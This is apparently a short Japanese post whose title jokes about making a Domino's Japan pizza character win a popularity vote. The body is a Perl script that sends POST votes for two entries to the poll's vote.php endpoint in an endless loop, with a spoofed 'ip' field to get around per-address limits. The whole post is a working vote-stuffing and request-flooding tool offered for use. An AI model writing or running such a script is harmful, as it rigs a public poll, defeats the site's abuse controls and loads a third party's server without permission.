【現在2位】ドミノ・デブのイケメンピザを人気投票で一位にしたら…

#!/usr/bin/perl
use HTTP::Request::Common;
use LWP::UserAgent;

my $lwp = new LWP::UserAgent();

#my $r = new HTTP::Request(POST =>"http://25th.dominos.jp/ikemen/vote.php");
#$r->content("num=1&ip=10%2E0%2E0%2E1");
my $r1 = POST("http://25th.dominos.jp/ikemen/vote.php",{num =>11, ip=>"10%2E0%2E0%2E1"});
my $r2 = POST("http://25th.dominos.jp/ikemen/vote.php",{num =>15, ip=>"10%2E0%2E0%2E1"});

while(1){
for(0..4){
$lwp->request($r1)->as_string;
$lwp->request($r2)->as_string;
}
$lwp->request($r1)->as_string;
}

__END__